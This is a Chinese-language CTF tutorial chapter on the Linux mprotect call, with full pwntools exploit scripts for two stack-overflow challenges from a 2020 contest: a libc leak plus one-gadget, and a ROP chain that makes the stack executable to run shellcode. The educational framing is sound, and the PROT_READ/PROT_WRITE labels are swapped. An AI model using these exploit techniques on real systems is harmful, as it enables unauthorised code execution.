# 4.11 利用 mprotect 修改栈权限 - [mprotect 函数](#mprotect-函数) - [参考资料](#参考资料) ## mprotect 函数 mprotect 函数用于设置一块内存的保护权限（将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值），函数原型如下所示： ``` #include int mprotect(void *addr, size_t len, int prot); ``` - prot 的取值如下，通过 `|` 可以将几个属性结合使用（值相加）： - PROT_READ：可写，值为 1 - PROT_WRITE：可读， 值为 2 - PROT_EXEC：可执行，值为 4 - PROT_NONE：不允许访问，值为 0 需要注意的是，指定的内存区间必须包含整个内存页（4K），起始地址 start 必须是一个内存页的起始地址，并且区间长度 len 必须是页大小的整数倍。 如果执行成功，函数返回 0；如果执行失败，函数返回 -1，并且通过 errno 变量表示具体原因。错误的原因主要有以下几个： - EACCES：该内存不能设置为相应权限。这是可能发生的，比如 mmap(2) 映射一个文件为只读的，接着使用 mprotect() 修改为 PROT_WRITE。 - EINVAL：start 不是一个有效指针，指向的不是某个内存页的开头。 - ENOMEM：内核内部的结构体无法分配。 - ENOMEM：进程的地址空间在区间 [start, start+len] 范围内是无效，或者有一个或多个内存页没有映射。 当一个进程的内存访问行为违背了内存的保护属性，内核将发出 SIGSEGV（Segmentation fault，段错误）信号，并且终止该进程。 ## 例题 例题来自 2020 安网杯，pwn1 是相对简单对栈溢出，pwn2 在此基础上增加了 mprotect 的运用，同时还是一个静态编译的程序。[下载地址](../src/others/4.11_mprotect) 先来看 pwn1，这是一个 64 位的动态链接程序，开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。 ``` $ file pwn1 pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped $ pwn checksec pwn1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 主函数 main() 先调用 write() 打印字符串，然后进入存在栈溢出漏洞的 vul() 函数，`read(0, &buf, 0x100uLL)` 读入最多 0x100 字节到 0x80 大小的缓冲区。 ``` .text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0000000000400587 public main .text:0000000000400587 main proc near .text:0000000000400587 ; __unwind { .text:0000000000400587 push rbp .text:0000000000400588 mov rbp, rsp .text:000000000040058B mov edx, 9 ; n .text:0000000000400590 mov esi, offset aWelcome ; "welcome~\n" .text:0000000000400595 mov edi, 1 ; fd .text:000000000040059A call _write .text:000000000040059F call vul .text:00000000004005A4 mov eax, 0 .text:00000000004005A9 pop rbp .text:00000000004005AA retn .text:00000000004005AA ; } // starts at 400587 .text:00000000004005AA main endp .text:0000000000400566 public vul .text:0000000000400566 vul proc near .text:0000000000400566 .text:0000000000400566 buf= byte ptr -80h .text:0000000000400566 .text:0000000000400566 ; __unwind { .text:0000000000400566 push rbp .text:0000000000400567 mov rbp, rsp .text:000000000040056A add rsp, 0FFFFFFFFFFFFFF80h .text:000000000040056E lea rax, [rbp+buf] .text:0000000000400572 mov edx, 100h ; nbytes .text:0000000000400577 mov rsi, rax ; buf .text:000000000040057A mov edi, 0 ; fd .text:000000000040057F call _read .text:0000000000400584 nop .text:0000000000400585 leave .text:0000000000400586 retn .text:0000000000400586 ; } // starts at 400566 .text:0000000000400586 vul endp ``` 总体思路就是栈溢出控制返回地址，执行 one-gadget。因此，我们还需要泄漏 libc 地址，程序里有 write() 函数可以利用。exp 如下所示： ```py from pwn import * context(os='linux', arch='amd64', log_level='debug') io = process('./pwn1') elf = ELF('./pwn1') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') pop_rsi_r15 = 0x400611 pop_rdi = 0x400613 write = 0x400595 payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write) io.sendlineafter('welcome~\n', payload) write_addr = u64(io.recv(8)) io.recv() one_gadget = write_addr - libc.sym['write'] + 0x4527a payload = "A"*0x88 + p64(one_gadget) io.sendline(payload) io.interactive() ``` pwn2 是一个 64 位的静态链接程序，开启了 Partial RELRO 和 NX。 ``` $ file pwn2 pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped $ pwn checksec pwn2 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 由于静态链接程序的执行不再需要 libc，因此 ret2libc 类型的攻击手段就失效了，需要考虑注入 shellcode，但是又开启了 NX 保护，这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。 可以在程序里找到关键函数 _dl_make_stack_executable()，该函数内部调用了 `mprotect(v3, dl_pagesize, (unsigned int)_stack_prot)`： ``` $ readelf -s pwn2 | grep exec 635: 0000000000499f70 2296 FUNC LOCAL DEFAULT 6 execute_cfa_program 639: 000000000049af40 2094 FUNC LOCAL DEFAULT 6 execute_stack_op 821: 0000000000474730 92 FUNC GLOBAL DEFAULT 6 _dl_make_stack_executable 1831: 00000000006cb168 8 OBJECT GLOBAL DEFAULT 25 _dl_make_stack_executable ``` ``` unsigned int __fastcall dl_make_stack_executable(_QWORD *a1) { __int64 v1; // rdx _QWORD *v2; // rax signed __int64 v3; // rdi _QWORD *v4; // rbx unsigned int result; // eax v1 = *a1; v2 = a1; v3 = *a1 & -(signed __int64)dl_pagesize; if ( v1 != _libc_stack_end ) return 1; v4 = v2; result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot); if ( result ) return __readfsdword(0xFFFFFFD0); *v4 = 0LL; dl_stack_flags |= 1u; return result; } ``` 构造方法是在进入 _dl_make_stack_executable 函数之前，将全局变量 _stack_prot 设置为 7（可读可写可执行），同时将 rdi 设置为全局变量 __libc_stack_end 的值。如下所示： ``` gef➤ x/gx $rsp-0x10 0x7ffef00bbb08: 0x4141414141414141 0x7ffef00bbb10: 0x4141414141414141 0x7ffef00bbb18: 0x00000000004015e7 # pop rsi ; ret 0x7ffef00bbb20: 0x0000000000000007 # rwx 0x7ffef00bbb28: 0x00000000004014c6 # pop rdi ; ret 0x7ffef00bbb30: 0x00000000006c9fe0 # __stack_prot 0x7ffef00bbb38: 0x000000000047a3b2 # mov [rdi], rsi 0x7ffef00bbb40: 0x00000000004014c6 # pop rdi ; ret 0x7ffef00bbb48: 0x00000000006c9f90 # __libc_stack_end 0x7ffef00bbb50: 0x0000000000474730 # _dl_make_stack_executable 0x7ffef00bbb58: 0x00000000004009e7 # vul ``` 调用 mprotect 前： ``` 0x474754 <_dl_make_stack_executable+36> add BYTE PTR [rbx+0x48], dl 0x474757 <_dl_make_stack_executable+39> mov ebx, eax → 0x474759 <_dl_make_stack_executable+41> call 0x43fd00 ↳ 0x43fd00 mov eax, 0xa 0x43fd05 syscall 0x43fd07 cmp rax, 0xfffffffffffff001 mprotect ( $rdi = 0x00007ffef00bb000 → 0x0000000000000000, $rsi = 0x0000000000001000, $rdx = 0x0000000000000007 ) gef➤ vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2 0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2 0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap] 0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack] 0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar] 0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] ``` 调用 mprotect 后，可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了： ``` gef➤ vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2 0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2 0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap] 0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw- 0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack] 0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw- 0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar] 0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] ``` 接下来程序跳到 vul 函数，读入 shellcode 到栈上并执行，即可获得 shell。exp 如下所示： ```py from pwn import * context(os='linux', arch='amd64', log_level='debug') io = process('./pwn2') elf = ELF('./pwn2') vul = 0x4009E7 write = 0x4009DD pop_rdi = 0x4014c6 pop_rsi = 0x4015e7 pop_rdx = 0x442626 jmp_rsi = 0x4a3313 mov_rdi_esi = 0x47a3b3 payload = "A"*0x88 payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi) payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable']) payload += p64(vul) io.sendlineafter('welcome~\n', payload) shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi) io.sendline(payload) io.interactive() ``` ## 参考资料